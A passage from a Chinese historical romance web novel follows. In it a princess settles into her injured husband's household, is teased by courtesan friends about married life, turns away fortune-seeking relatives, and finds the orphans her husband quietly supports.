将昨日的事娓娓道来,她端起茶盏润了润唇,“那歹徒如此胆大包天,在京城都敢如此行事,也不知在甘州是否犯下罪行,唐大人定要好生查探,不可姑息。” “正是。”纪丞相附和,“天子脚下,定不能让此等蠹虫逍遥法外。” 唐易自是称是。 事办完,萧婧华告辞回府。 出了京兆府大门,纪初晴从后头追了上来,快步与她并肩。 “方才多谢你。” 萧婧华挑眉,“能得纪姑娘一声谢,本郡主可真是三生有幸。” 纪初晴并未理会这句挖苦的话,笑了笑沉默下来。 见萧婧华走到马车旁,她蓦然道:“我想尽快嫁出去。” 萧婧华一顿,偏头看她。 少女眉目沉静,肤如凝脂,“嫁出去后,就不用再管她偏不偏心了。” “你考虑清楚了?” “嗯。”纪初晴重重点头,嫣然一笑,“等我有了好消息,你可一定来喝杯喜酒。” “当然,记着呢。” 萧婧华颔首,扶着觅真登上马车,“回见。” 纪初晴笑,“回见。” 马车徐徐驶离,萧婧华撩起帘子,从缝隙中怔怔望着街边人来人往。 人这一生太过漫长,曾经的箭弩拔张已消散在光阴里。 没有一成不变的针锋相对。 也没有始终如一的坦诚相待。 人人都会变,人人都在变。 萧婧华放下帘子,缓缓阖上眼睛。 …… 马车渐停。 陆府里走出两人,衣着还算整洁,五官也端正,就是愁眉苦脸的,眉间蕴着一团愁云,浑身乌云密布,不觉令人不适。 蹙眉望着二人绕着马车走过,萧婧华搭着觅真的手下了马车,进入陆府。 身后,男子往后看了一眼,放慢脚步,悄悄问道:“爹,那姑娘好生漂亮,她是何人,为何会进陆府?” 中年男子狠狠瞪去一眼,“没出息的东西!别看见个漂亮姑娘就走不动路!” 男子委屈,“我就是好奇而已。” 中年男子又剜他一眼。 巷口处有位妇人买菜而归,恰巧听见他们的对话,随口道:“漂亮姑娘?该不会是郡主吧。” “郡主?” 父子二人齐齐驻足。 妇人狐疑地看他们一眼,“你们是何人,打哪儿来的?” 中年男子笑容和善,“这位大姐,我们父子俩是来寻亲的,就是巷尾的陆家。只是家中无人,我们也不好上门,方才正巧见到一位姑娘进去,颇有些疑惑。” “你们是陆侍郎的亲戚?” “是是是。”男子迫不及待道:“陆侍郎是我兄长。” “原来如此。”妇人脸色和缓。 中年男子便问:“不知方才那位姑娘是……?” 妇人道:“你们可是许久不曾往来了?怎么连陆侍郎成亲了都不知。” 中年男子微怔,“阿埕成亲了?” “可不是。”妇人一脸钦羡,“娶的可是大名鼎鼎的琅华郡主,皇帝的侄女,王爷的女儿。成亲当日,长龙似的一抬抬嫁妆抬进门,甚至连皇上都有赏赐。沾了郡主的光,你们家可是彻底发迹了,这不,前一阵陆侍郎还买下了后边两座宅子,上万两银子说给就给,出手可真阔绰。” 妇人啧啧称奇。 父子二人对视,皆从对方眼中看出了亮光。 …… 听见脚步声,孟年背对着门烦躁地挥着扫帚,“都让你们走了,烦不烦,再来一次打一次!” 脚步声停顿片刻,女声冷笑,“孟年,你要打谁?” 这个声音…… 孟年周身一凛,连忙将扫帚丢下,转身赔笑道:“郡主回来了,刚才谁在说话,谁要打人,我怎么不知道?” 萧婧华冷冷睨他。 孟年嘴角下耷,“郡主,我错了。” 萧婧华冷哼一声,“方才那两人是谁?” “没谁。”孟年摆手,“两个认错门的,死缠烂打的非说这里是他们亲戚家,被我打了出去。” 他神色看不出异样,萧婧华没放在心上,跃过他往里走。 箬竹动作快,不过一个上午,院子便大变模样。檐下多了几盆应景的花卉,简朴灯笼被换成了精致大气的宫灯。 见萧婧华进来,箬竹笑道:“郡主,您说在此处扎个秋千如何?” 她指着桃花树不远处。 萧婧华没异议,“成。” 既然准备暂时住下,那她自然要住得舒服。 跟过来的孟年当即道:“我来我来,我扎秋千的手艺极好。” 萧婧华懒得回他。 箬竹笑着,“好,那就辛苦孟年了。” 孟年嘿嘿笑。 书房门被打开,陆埕撑着拐杖站在门口。 “回来了。” 萧婧华冷淡颔首,走进屋里。 望着她的背影消失,陆埕唤道:“孟年。” 和箬竹说话的孟年止住话音,快步走来,“大人怎么了?” 陆埕道:“往后过来记得禀报一声。院里都是些姑娘,当心冲撞。” 这院子原是陆埕陆旸两兄弟的,陆旸已经搬走,正屋被萧婧华占了,他住西屋书房,剩下的屋子放的大多是萧婧华的东西。 侍女们并不住这院里,除了每日神出鬼没的予安觅真,就连箬竹箬兰也只是轮换守夜时会宿在外间。 孟年点头,“好。” 不仅有萧婧华要的软榻,箬竹将里屋布置地几乎和恭亲王府一个模样。 除此之外,她还将林大厨的徒弟汪厨子也带了来,彻底接管厨房。 陆夫人和殷姑在铺子里忙活,午时不回,一般就带着小丫鬟兰兰在铺子里对付一口。 陆旸今日一大早便回了书院,如今府里只剩萧婧华与陆埕。 厨房饭菜做好,萧婧华让人盛一部分出来给陆夫人送去,又让孟年把陆埕那份送去书房,她则直接在屋里用膳。 春日容易犯困,萧婧华躺在软榻上看书,没翻几页便睡了过去。 箬竹给她搭上软被,轻手轻脚地关上门窗,只留一道细缝通风。 萧婧华眯了会儿便醒了,坐在榻上一阵懊恼。 本来晚间就难眠,白日还睡,那今晚岂不是更睡不着了? 气闷地将书扔开,听着外间嘈杂声,萧婧华推门出去。 不仅箬兰箬竹不在,院里的小丫鬟们也不见了人影,唯有风过时桃花散落的沙沙声。 正疑惑,孟年端着碗褐色药汁匆匆走过。 萧婧华刚要唤他,外头忽然传来箬兰的声音。 “孟年快来!他抱不住了!” 孟年一听急了,直接将药碗搁在书房门前的石阶上,脚步匆匆折回去,几下消失在院门外,彻底不见了踪迹。 萧婧华:“……” 她半晌失语。 这人能靠谱些吗? 静默片刻,她缓缓走到书房前。 药碗上还冒着热气,白雾徐徐上升。 萧婧华盯了它许久,无奈舒了口气,俯身端起药碗,轻敲房门。 “陆埕。” 里头并无回应。 萧婧华蹙眉,直接将门推开。 一抬眼,她怔住。 他趴在桌上睡着了。 双眉紧紧皱起,不知是因疼痛还是其他。侧脸压着手背,嘴唇轻轻嘟起,又平添几分稚气。 另一只手握着毛笔,墨水将宣纸染黑,连他那只玉似的手也沾了不少墨,墨迹落在虎口手背上。 在门口站了须臾,萧婧华迈步入内。 把药碗搁在桌上,她走到陆埕身旁,将那支笔从他手里抽出,放在笔架上。 柔软笔尖从他手上擦过,似是微痒,陆埕眉心一动。 风从洞开的窗吹来,宣纸拂落,萧婧华垂眸。 清秀端正的字迹铺陈开,是关于国子监的策论。 萧婧华蹲身,捡起宣纸,随手拿过桌上的镇纸压好。 方一转身,余光瞥见某个物件,她蹙了下眉。 书桌一侧放置着书架,上边满满当当地摆着各种书籍,有四书五经,历代史书,四方游记……数不胜数,汗牛充栋。 可在其中一格上,却格格不入地放着一盏提灯。 提灯上绘有梅兰竹菊四君子,工艺精美,不似寻常灯笼。 萧婧华走近。 那灯似被主人精心养护,不染纤尘,清艳梅花绽放枝头,不知点上又是什么风景。 指腹在灯笼上拂过,停在角落里的徽记上。 是宫中制品。 在平时,一盏在宫中随处可见的灯笼罢了,萧婧华并不会放在心上。 可看着它,毫无缘由的,她忽然想起了那场宫宴,那夜被她丢掉的灯。 一盏灯而已,萧婧华并不记得它是何模样,上面绘了什么花纹,可此时此刻,她不知为何觉得,就是眼前这盏。 她丢掉的灯,被他捡了回来。 心中似有潮涌,萧婧华仓促转身。 眸光震颤,她僵住。 第84章 门扉大开,微风吹起案上宣纸,轻轻搭在男子手背。 陆埕神色迷蒙睁眼。 手一动,瞥见手背墨渍,他随手拿了张帕子擦拭。 桌面放着一碗早已冷却的汤药。 想着该是孟年端来的,他伸手扣住碗沿,仰头一口饮完。 门外传来喧闹声,陆埕放下碗,拄着拐杖站起。 腿上一阵剧烈疼痛,他泛白的嘴唇不觉抖动,适应了片刻,这才一瘸一拐地走到门口。 “郡主,您醒啦?” 箬兰脚步轻快地蹦跳进来。 “啊?”萧婧华出着神,无意识应声。 她在想在陆埕书房看到的东西。 什么叫未经允许,不能触碰她?不能擅自替她做主,不能揣测她的心情? 未曾经过她的允许,触碰她的事,他陆埕做少了? 登上比武招亲的擂台,得了和她的婚事,这不是陆埕擅自做的主? 他告知过她,和她商量过吗? 男人,说的写的,都比唱的好听。 萧婧华愤愤地想。 “郡主!” 箬兰的嗓音忽然在耳侧炸响,将萧婧华吓一哆嗦,她彻底回神,没忍住瞪她,“吓我作甚?” 箬兰委屈,“这不是看你在出神嘛。” 萧婧华揉按着太阳穴,语气不太好,“你们去哪儿了,醒来连个人影都见不着。” 说起此事,箬兰立即兴奋了,“王爷说陆府景色单调,怕郡主无趣,特地差人送来了好多东西。” 她掰着手指头数,“假山花卉,雪松芭蕉,甚至还有紫竹碧玉竹。对了。” 箬兰眼睛亮晶晶的,“王爷还打算在院子里建座凉亭,方便郡主赏花。” 萧婧华:“……” 这又不是王府,父王这么做,有些越俎代庖了。 暗道父王霸道,她头疼般站起身,“现下已经开始了?让匠人们先停一停,我去……” “工匠们夜里可要留宿?” 书房处,男声清润疏朗,如玉击石,“要留饭吧,也不知厨房采买够不够。” 主仆两人望过去。 目光与萧婧华交汇,陆埕浅浅一笑,“这也是你家,你想怎么弄,就怎么弄。” “院子大了便显得空旷,娘也想装饰一二,可最近捉襟见肘,她又忙着铺子里的事,便搁置下来了。” 萧婧华无言。 陆埕道:“一起去看看吧。” 他扶着拐杖,小心迈下石阶。 萧婧华给箬兰使眼色,“去扶一把。” 箬兰装作没听见,仰头望天。 她还记着昨日的仇。 陆埕不想她扶,她还不想去自取其辱呢。 萧婧华瞪她,催促道:“快去!不去扣你这个月月银。” “郡主扣吧。” 箬兰死活不动。 郡主出手阔绰,她并不缺钱,一个月月银罢了,扣就扣了。 这死丫头! 萧婧华暗恨。 就仗着她宠她! 眼见陆埕瘸着退踏在石阶上,她一咬牙,快步上前扶住他另一只手。 陆埕没预料到她会来扶他,明显怔住,凤眸里有星蕴汇集,聚成笑意。 察觉到他没动,萧婧华道:“不想走?也对,大夫让你静养,你还是回去算了。” 她说着就要松手。 陆埕急忙反手抓住她,“无事,血早就止住了,多走动走动也好。正好在屋里闷了一日,我也想去透透气。” 萧婧华语气不善,“松手。” 感受着掌中柔荑,陆埕耳根微烫,心下一慌,缓缓将她松开。 内心泛着些微不舍。 萧婧华冷着脸扶在他臂弯。 为了让她轻松些,陆埕将大部分重量放在另一边。刚好那边是他伤腿,走了没一会儿,便觉疼痛加重。 他硬是强忍着没吭声,小步走到院里。 陆埕买的宅子是两座两进的院子,打通时拆了一道墙,当时没归整,现下一看,周边宽敞,正好用来做园子。 萧婧华到时里头正热火朝天的,汤正德指挥花匠将树种好,另有匠人在放置假山。 孟年站在高处,面色兴奋地吆喝着,箬竹带着侍女规整放好盆栽。 一盆盆颜色各异的花卉放在碎石路两侧,瞧着便让人心旷神怡。 汤正德一转眸,欣喜走来,“郡主和姑爷来了。” 萧婧华头一次听见“姑爷”这个称呼,愣怔片刻。陆埕面不改色对汤正德点头,“汤总管。” 汤正德笑呵呵的指着某处,“郡主,您说亭子建在这儿如何?箬兰那丫头说您想要个秋千,不如也扎在旁边,这春日里五彩斑斓的,您瞧着也舒服。” 萧婧华松开陆埕,往前几步朝汤正德招手。 汤正德附耳过来。 “公公,你弄这些,我婆婆知道吗?” 汤正德笑弯了眼,“郡主放宽心,王爷提前知会过陆夫人了,夫人也是同意的。” 萧婧华:“哦。” 既然陆夫人知道,那就没问题了。 孟年注意到两人,从高处跳下,一溜烟跑到陆埕身边,懊恼道:“遭了!大人,我把你的药忘了!” “药?” “是啊。”孟年道:“箬兰叫我叫得急,我就把药随手放下了,我现在就回去重新煎一碗。” 他说着就要往外走。 陆埕拉住他,眼睛不由自主地看向萧婧华。 少女也不知听没听见他们的谈话,仰着脸和汤正德说话。莹润侧脸融在春光里,比珍珠还要亮眼。 陆埕看着她,风一吹,便觉浑身暖意。 他偏头,笑似春风和缓,“不用,我喝过了。” 孟年低头看他瘸着的那条腿,心中钦佩不已。 身残志坚,身残志坚啊。 有孟年在,萧婧华便不怎么搭理陆埕了,兴致勃勃地跟在汤正德身后看匠人们建亭子。 站了会儿双脚隐有酸痛,正好汤正德欲回王府,萧婧华便去送他。 陆埕想和萧婧华搭话,却只能眼睁睁看着她从身旁走过。 他有些丧气,让孟年扶他回去,寻思着晚些再寻她。 可没想到,今日再没了机会。 一直等到第二日清晨,听到萧婧华屋里传来动静,陆埕赶忙拄着拐杖开门。 “郡主。” 触及她的穿着,他略有意外,“你要出门?” “今日约了人去铺子查账,怎么,你也想去?” 萧婧华瞥着他腿,意思不言而喻。 陆埕喉头滚动,往后挪动一小步,摇头道:“并无此意。你去吧,路上当心些。” 萧婧华漠然点头,领着人出门。 她今日的确约了云慕筱和谢瑛去铺子里盘账,但到达蒲草居后,见到的只有云慕筱一人。 萧婧华意外,往四处看了眼,“阿瑛呢?” 云慕筱无奈,“她最近常去寻仰将军过招,昨夜让我给你赔罪,今日一大早就不见了人影。” 挽着萧婧华胳膊,云慕筱笑,“她上次胜了仰将军,乐了好几日,谁知仰将军伤好后她便吃了败仗,阿瑛不服气,日日去寻他,害得人家见了她都躲。” 萧婧华和云慕筱一道往里走,不由失笑,“阿瑛这性子,可真是不服输。” “她自小便这样,幼时兄长们胜了她,她气得多吃了两碗米饭,说是吃得多,长得壮,才能早日打败几位兄长。” 二人说笑着进了蒲草居。 今日蒲草居撂牌子,温婵姿难得休息,躺在二楼雅间发呆。 丹晴和思思吃着点心嗑着瓜子闲聊,瓜子皮堆得满满当当。 芳琇坐在一旁,垂着头认认真真刺绣。 见萧婧华和云慕筱进来,温婵姿瞥去一眼,有气无力道:“来了。” 随后又继续转回去发呆。 “郡主,云姑娘。” 剩下三人纷纷打了招呼。 萧婧华点头。知道温婵姿这阵子累极,她没打扰,对箬竹几人道:“这里不用伺候,下去歇着吧。” 箬竹应声,体贴将门关好。 萧婧华刚拉着云慕筱坐在罗汉床上,做着绣活的芳琇便递上了账本,温柔小意,“这个月的帐都在这里了。” “好。” 萧婧华接过,和云慕筱凑在一处细细地看。 管家一事,她也是学过的,只不过有将王府上下打理得妥妥帖帖的汤正德珠玉在前,没她用武之地罢了。 蒲草居生意不错,这一月下来净赚了不少银钱,看了许久,账本一半都没翻完。 云慕筱去更衣,萧婧华眼睛酸涩,抬起头看着窗外绿荫缓解疲意。 屋里回荡着嗑瓜子声和低低说话声,楼下栾树上飞来一只黄鹂,毛茸茸的小黄色脑袋偏着,用鸟喙梳理身子。它抖抖翅膀,抬着脑袋,缓缓张嘴。 “哎呀!” 黄鹂被这一声惊住,扑腾着翅膀飞逃。 正欲听它鸣唱的萧婧华双肩一抖,猛地偏头看向罪魁祸首。 温婵姿一拍大腿,哀嚎道:“这个月可累死我了。不成,今晚必要消遣消遣。” 她转头问道:“你们可有遇到好的?” 什么好的坏的? 萧婧华一头雾水。 丹晴嗑着瓜子,懒洋洋道:“有倒是有,不过我用过的,你不嫌膈应?” 温婵姿惋惜,“那算了。” 万一往后她们二人同时找上门去,那不是坏了姐妹情谊? “我倒是遇到一个,身段不错,听说功夫也了得,你若是有意,我给你留意留意。”思思吃着糕点。 温婵姿道:“不用留意了,你直接告诉我地址,我今晚就去。” “行。”思思点头,“就在三水巷最里间,门口放着一块空白牌匾,点乌罗就是。不过他这人性子怪,还得看你合不合他心意。” 温婵姿指尖绕着发梢,妩媚一笑,清媚眉眼尽显风情,“男人而已,有什么难的,看姐姐如何把他拿下。” 萧婧华听得云里雾里,“三水巷空白牌匾,那是什么地方?” “南风馆啊。” 温婵姿答得理直气壮。 “什……咳咳……什么?” 萧婧华被口水呛住。 “这么大惊小怪的作甚?”温婵姿起身,倒了杯水走向萧婧华,喂到她唇边,语气娇柔,“男欢女爱,世俗之理,从古至今皆是如此,何必扭捏。” 萧婧华仓促将水喝下,双颊似霞飘红。 温婵姿笑话她,“你这都成亲了,怎么还这么害羞。” 她眨眼,“怎么,陆大人不行?” 萧婧华险些又被呛住,捂着胸口咳嗽。 温婵姿惊讶,“啊?真不行啊?他看着不像个银样镴枪头,竟是个中看不中用的?” “这可不行。”丹晴道:“绝不能讳疾忌医,我认识一个大夫,是治这方面的好手,郡主若不介意,我可为你们牵线。” “是啊。”芳琇煞有其事点头,“男人有问题,吃亏的还是女人,必须要治。” 思思幽幽道:“不治也行,换一个算了。” 萧婧华一口气险些没喘上来。 再让她们说下去,指不定今晚就要拉她去南风馆见见世面了。 萧婧华硬着头皮道:“不、不是不行,只是、只是……” 顶着三道目光,她憋了半晌,绞尽脑汁艰难吐出两个字,“难受。” “不应该啊。”温婵姿托着下巴,“成婚前我送你的书,你是不是没看?” “书?”萧婧华愣了。 她想起来,成婚前,温婵姿是送了份添妆,里头放的是书? “对啊。”温婵姿点头,“我寻了好久的极品,新婚之夜,保证能让你满意。” 她嫌弃道:“如今看来,白费我一番心意。” 芳琇下结论,“哦,那看来是陆大人技术不行。” “练练就行。”丹晴道:“我那儿还有许多春宫图,郡主下次来带回去和陆大人一同看看,保管能让他突飞猛进。” 萧婧华双颊通红,委婉拒绝,“不、不用了吧。” “一定要。” 温婵姿郑重其事道:“夫妻敦伦,这么重要的事,怎么能不重视?” 她怜惜地看着萧婧华,“瞧这小可怜,听姐姐的,回去让你家陆大人照着我送的书好生学学。” 凑在萧婧华耳畔,温婵姿吐气如兰,“定让你……欲。仙。欲。死。” 温热气息扑在耳畔,萧婧华头皮发麻,“真、真的假的?” “当然是真的。你以为做这事,只有男人能爽快?”温婵姿笑,“咱们女人若是得了趣,同样舒服。” 丹晴和芳琇凑过来,七嘴八舌地给她普及,思思在一旁不甘落后,传授了几招房。事秘籍,听得萧婧华连脖子都红了,整个人仿佛在冒烟。 “你们在说什么呢?” 云慕筱回来了。 几个姑娘这才止了话音散开去,只是看向萧婧华的目光不约而同透出几分怜悯。 萧婧华:“……” 她将脸埋进手心,艰难道:“没、没什么。” 云慕筱狐疑地看了一圈,回到罗汉床落座。 “好,那咱们继续。” 萧婧华失神点头。 接下来看账,她魂不守舍,迟迟不能集中注意。狠拧了自己一下,萧婧华倒吸一口凉气,这才彻底精神。 看完帐,几人转道去聚香楼用饭。 难得休息,温婵姿陪姑娘们逛了两个时辰,实在逛不下去了,她提出散了。 离开前,温婵姿几人对萧婧华使了个眼色,暧昧不已。萧婧华僵硬地晃着手,目送她们离开。 “出了什么事了?之前我便想问,你怎么心不在焉的?” 云慕筱手背贴着萧婧华额头。 “别问了。” 萧婧华拿下她手,有气无力地将脸埋在她肩上,瓮声瓮气道:“以后你会知道的。” 她既不想说,云慕筱便不问了,“好。” 萧婧华在她肩上蹭了蹭。 说了会儿话,两人分开,各自各府。 坐在马车上,萧婧华靠着车壁发呆。一家三口从马车旁行过,小姑娘一左一右牵着父母的手,蹦跳着前行,小脸洋溢着灿烂幸福的笑容。 父母温柔注视,不时对上一眼,满是柔情。 萧婧华看着,脸上也有了笑。 即将到达陆府时,予安将马勒停。 “郡主,前头有人。” 萧婧华探出半个脑袋,“什么人?” 予安还未答话,便有两人跑到萧婧华面前,笑容敦厚,“是郡主吧?草民见过郡主。” 萧婧华打量着这对略有些眼熟的父子,“你们是?” 中年男子笑容憨厚,“禀郡主,草民姓陆,单字一个默,是阿埕的三叔。这是犬子陆河,阿埕的堂弟。” 陆河对萧婧华笑,乖顺又无害。 “陆家的亲戚?”萧婧华蹙眉,“怎么没听说过?” 陆默笑容不变,“我们这一支在兄长离世后便搬离京城,回了老家。家里唯有一个寡嫂,不好多往来,慢慢就断了联系。此次听说阿埕成了婚,便想来看看。” 他低头拭泪,“如今见了郡主,得知阿埕圆满顺遂,我也是对在天之灵的兄长有个交代了。” “只是阿埕对我有些误会,不知郡主可否通融通融,让我进去见他一面?”陆默抬头,眼眶微红含泪,“打断骨头连着筋的一家人,总不能一辈子误会下去,往后若是下了黄泉,我有何颜面去见兄长啊。” 陆河低头,轻声啜泣。 萧婧华冷漠,“这与我有何干系?你们姓陆的有什么事,自己去解决。” “予安,走吧。” “是。” 不去看那俩父子一脸的难以置信,萧婧华放下车帘。 箬兰听了个分明,呸道:“这么多年,从没听陆夫人说起陆家还有什么亲戚。早些年不往来,如今听说陆大人娶了郡主,这就眼巴巴地追上来了,看着就像趋炎附势的。” 萧婧华没吭声。 马车在陆府前停下,穿过垂花门,越过两院间的小院子,萧婧华踩着一地桃花瓣迈入院中。 几乎就在她迈入院门的刹那,书房门开了。 陆埕站在门口,清透目光凝着她。 霞光蕴在眼尾,似鬓边海棠。 原本萧婧华刻意地在遗忘,可毫无缘由的,看见他的一刹那,思思的话蓦地钻入耳中。 “……太硬的摸着硌,太软了也不行,取中正正好,躺在……”视线不自觉沿着他的脸缓缓下移。陆埕原想和她说话,对上她的目光,不知为何周身一冷。 第85章 “为何……这般看着我?” 陆埕不禁发问。 萧婧华霍然收回视线。 她刚才在想什么? 竟然想着陆埕脱下衣服会是怎样的光景。 都怪姿娘她们,整日跟她说什么呢! 越是懊恼,萧婧华神情便越冷,看得陆埕踯躅,不知自己做错了何事。 反思间,又听萧婧华道:“方才外边有两人拦住我,说是你三叔和堂弟。” 听此一言,陆埕面色骤然沉下,语气寒凉,“不必管他们。” 提起这两人,陆埕想起了某些不愉快的记忆,整个人笼罩在阴郁里,等他再次抬头,院子里已经没有了萧婧华的身影。 他望着空无一人的庭院,抿抿唇,拄着拐杖慢慢挪了回去。 …… 进了屋,萧婧华问:“箬竹,姿娘送的添妆在哪儿?” 落后一步的箬竹脚步一顿,想了想道:“该是在库房,郡主要看?奴婢去找找。” 萧婧华还未来得及说“不用”,箬竹已经消失在了门外。 箬兰问:“郡主,此刻传膳么?” 萧婧华有气无力,“娘她们回来了么?” “应该快了吧。” 话音方落,夏菱便从门外探进来一个脑袋,“郡主,方才夫人让人传话,说是今日忙,晚间不回来用饭了。” “那你给她们送去吧。”细长手指揉着太阳穴,萧婧华道:“明日让厨房炖些燕窝,好好给她们补补。” 夏菱脆声应是。 箬兰咳嗽一声,“陆大人和孟年那份,还是给他们送去么?” 除了住进来那夜,郡主到现在都没和陆大人在一张桌子上用过饭,只让孟年给他送去。陆夫人也随她,半句重话都没说过。 萧婧华点头,理所当然道:“自然。” 谁要看着他那张冷脸吃饭。 箬兰“哦”一声,退下了。 她性子活泼,但做事麻利,且萧婧华的膳食向来是她负责的多,没多久便将一切安置妥当了。 时间当真是最好的疗药。一年过去,萧婧华已经很少想起那座山上的事,芙蓉玉露鸡又重新成为她的最爱。 被她带来的厨子继承了师父林大厨的好手艺,别的或许比不上他,但这道菜被他做来更有一番风味。 端庄优雅拭唇,萧婧华道:“晚膳不错,赏。” 箬兰:“诶。” 嬷嬷抬来热水,萧婧华沐浴完歪在榻上与自己下棋,一手黑子,一手白子,下得不亦乐乎。 箬竹跪坐其后,专心致志为她擦拭湿发。 擦完,见萧婧华的棋局也已落幕,她从怀里取出一物放在榻上几案上。 萧婧华的视线顺着那个木匣挪到箬竹脸上,疑声,“这是什么?” “郡主忘了?”箬竹亦是一脸疑惑,“温姑娘的添妆礼,不是您要的么?” 萧婧华:“……哈,是么,我最近记性不太好。” 她本来的确是忘了,可箬竹这一出,又什么都想起来了。 望着几案上的精致木匣,萧婧华犹豫,手伸出去又缩回来。 对于未知事物,她是好奇的。可她又怕一旦跨出去,往后将有无法预料的事发生。 就像是龟缩在洞里的兔子,对外面一切保有好奇心,却又警惕着尚未发现的危险,期待又恐惧。 箬竹瞧她神色,“郡主不想看?”她劝了一句,“好歹是温姑娘的心意,既然都拿来了,郡主不若还是瞧瞧吧。” 萧婧华深深吸气,“你先出去吧。” “啊?”箬竹意外。 萧婧华喉间发紧,“你出去我再看,对了,不准任何人来打扰,就当我歇下了。” 箬竹不明所以。 正要再问,萧婧华蹭地起身,双手放在她肩上,硬是将她推了出去。 “郡主?” 尾音未落,房门“砰”一声在她面前紧闭。 箬竹一头雾水。 温姑娘究竟送了什么东西,竟让郡主这般如临大敌。 后背靠在门上,萧婧华平复着呼吸。 半晌后,她手脚发麻地小步挪到贵妃榻前。 盯着木匣看了半晌,几乎要将它看出洞来,萧婧华深吸一口气,一把将它捞起,随后吹了灯,只留床前一盏,做贼似的滚进松软床榻。 她盘腿坐在床上,紧张地打开木匣。 里头躺着两本书,从封皮上看,和普通的书籍没什么区别。 萧婧华心虚地四处望了眼。 床头灯盏散发着柔和光芒,除此之外,四周一片黑暗。 屋里只有她一人。 稍稍放下了心,萧婧华翻开一页。 视线触及书上内容,她手一抖,直接将整本书扔了出去,热意一股脑往上窜,白玉似的小脸在瞬息间化为红霞。 这这这…… 萧婧华将头埋进被子。 这也太、太…… 掩在乌发下的雪白耳尖红成一片,她不由张唇,贝齿咬住被子。 过了许久,终究还是抵抗不了好奇心,萧婧华将自己裹在被子里,抖着手捡回那本“书”,一页页翻开。 屋里的窗留着一条缝隙,清凉夜风顺窗爬进室内,轻轻吹起窗前纱帐。 春日夜里还有几分寒凉,萧婧华却浑身冒汗,仿佛刚在夏日田野间滚过一遭。 有股热意在心间乱窜,窜得她头脑发胀,迷迷糊糊地想。 那事……当真有这画上那么……舒服么? ……几日不见,恭亲王想得紧,特地派人请萧婧华回去用膳,以解思女之情。 刚听完下人禀报,萧婧华便带着予安觅真出门了。 前后脚和恭亲王回到王府,用完午膳,恭亲王和女儿说了会儿话,便有人匆匆来寻。 他面带烦躁,“等下次休沐,父王带你去庄子上玩。” 萧婧华算了算日子,笑道:“好啊,不过还是下月吧,等父王忙完这阵子再说。” 恭亲王微怔,想起了什么,勉强笑应,“好。” 他离开后,萧婧华略坐了片刻,随之离府。 京城的街市永远都是热闹的,悲欢离合似乎永远无法侵入这条街,百姓安居,幸福平乐。 余光随意掠过一间铺子,萧婧华想着去陆夫人的铺子里逛逛。殷姑在府里一般不怎么做糕点,许久未曾尝过她的手艺,倒是有些想了。 正要出声让予安转道,目光蓦地一顿。 萧婧华蹙眉凝着不远处那道熟悉的身影。 孟年一向与陆埕形影不离,他不在府里伺候着,在这儿作甚? 难不成陆埕也在? 他一个伤患,不在府里好生将养着,跑出来做什么? 萧婧华本不欲管,可陆埕那腿始终是为她所伤。 踯躅中,孟年的身影逐渐远去。 萧婧华来不及多想,“予安,跟上孟年。” 觅真目光如炬,飞快在人群中找到孟年快要消失的背影,对予安道:“在那边。” 予安往那方向看了一眼,拉着缰绳调转马头,跟了上去。 街道变得狭窄,周边民居也越发破败简陋,马车无法通行,萧婧华只好弃了马车,在予安觅真二人的保护下,提着裙子,小心翼翼行走。 她今日穿了莲红色百迭裙,足下一双水红牡丹绣鞋,珍珠成串缝在花瓣上,莹润光泽与这暗淡巷子格格不入,似无意间闯入沼泽的枝头玉凤。 鼻尖充斥着落叶腐烂味,萧婧华捂着鼻子艰难呼吸,暗自恼怒。 早知道她就不跟来了。 陆埕伤好不好和她有什么关系,那不都是他自找的? 可来都来了,让她空手而归,萧婧华又不怎么情愿。 好不容易穿过巷子,跟着孟年进了一道大门,里头热闹的欢呼声让她快要到达顶峰的烦躁硬生生刹住。 孟年站在院子里,数个小童围在他身侧,脏兮兮的小脸上洋溢着灿烂的笑容。 “孟年哥哥,你来啦!” “孟年哥哥,这次你带了什么好吃的?” “孟年哥哥,陆哥哥这次不来了吗?” “孟年哥哥你看,我和上个月相比,是不是长高了许多?等长高了,我就能出去做活了!” 孟年被一群小萝卜头围在中间,脸上不见燥意,笑着一个个回话。 “带了好多好吃的,什么桂花糕、枣泥糕,保准让你们吃个够。” 勾得一群小萝卜头疯狂咽着唾沫,孟年笑得十分欠揍,“你们陆哥哥伤了腿,这次就不来了。” 他说着摸上一个小男孩的脑袋,“哟,是长高了不少。” “陆哥哥怎么了?伤得严重吗?” 那小男孩追问。 “嗐没事,我看他挺开心的。” “你们是谁?” 正说着,有个小少年警惕质问,孟年下意识回头。见了来人,他震惊瞪大眼,结结巴巴道:“郡、郡郡主,你怎么在这儿?” 眼前的少年穿着粗衣,衣上带着补丁,人虽然瘦,但看着很是精神。 迎着他戒备的目光,萧婧华走进院子,直接从他身旁跃了过去,“我还想问,你怎么在这儿?这些……” 她指着这一院子的孩子,“又是怎么回事?” 孟年正要答话,一只手拉住他的衣摆。 大眼睛小女孩怯怯问:“孟年哥哥,她是谁呀?” 她从来没见过这么好看的姐姐,和仙子一样。 孟年摸了摸她脑袋,柔声安慰,“别怕,她是陆哥哥的妻子,是个很好的人。” 陆哥哥的妻子? 小女孩好奇地望着萧婧华。 孟年顾不上她,看向被予安拦住的小少年,“没事,这是郡主。” 郡主? 小少年眼里防备渐弱,但仍警惕地看着萧婧华,将一院子的小豆丁护在身后。 萧婧华瞥他一眼,“说说,这是怎么一回事。” 孟年挠挠头,“这里本是家养护院,后来被废,有些孩子被人收养,剩下一些略有残缺的无处可去,只好滞留在这院子里,靠着乞讨过活。有次实在饿得很了,偷了人家几个馒头,刚好被大人撞见。” “自那以后,大人每个月都会带着我来看看他们。” “这月他不是腿伤着了么?只好我一个人来。” 萧婧华睃巡。 视线每掠过一个孩子,都会对上一双好奇又害怕的眼睛,干净得似今日晴朗的天。 唯有最初将她拦住的那名少年,似狼一样的目光,竟让她想起某个人。 腕上疤痕蓦地一痛。 她蹙起眉。 觑着萧婧华的神色,孟年心口一跳,谨慎道:“郡主若是不喜欢,用不着大人,往后我来便是。” “在你眼里,我就这么不近人情?” 萧婧华乜他。 孟年自打嘴巴,“瞧我这是说的什么话,郡主心善,怎么会容不下几个孩子。” 萧婧华冷笑。 她取下腰间钱袋扔给陆埕,“拿去,就他那点俸禄,能买什么?” 望着衣衫褴褛的小童们,萧婧华道:“好歹给他们做身衣裳。” 孟年喜不自胜,“多谢郡主!” 萧婧华冷哼一声,转身欲走。 孟年忙道:“郡主慢走。” “今日我来过的事,不用告诉陆埕。” 孟年虽不解,但还是应了。 刚走出两步,身后传来轻微力道,萧婧华垂首。 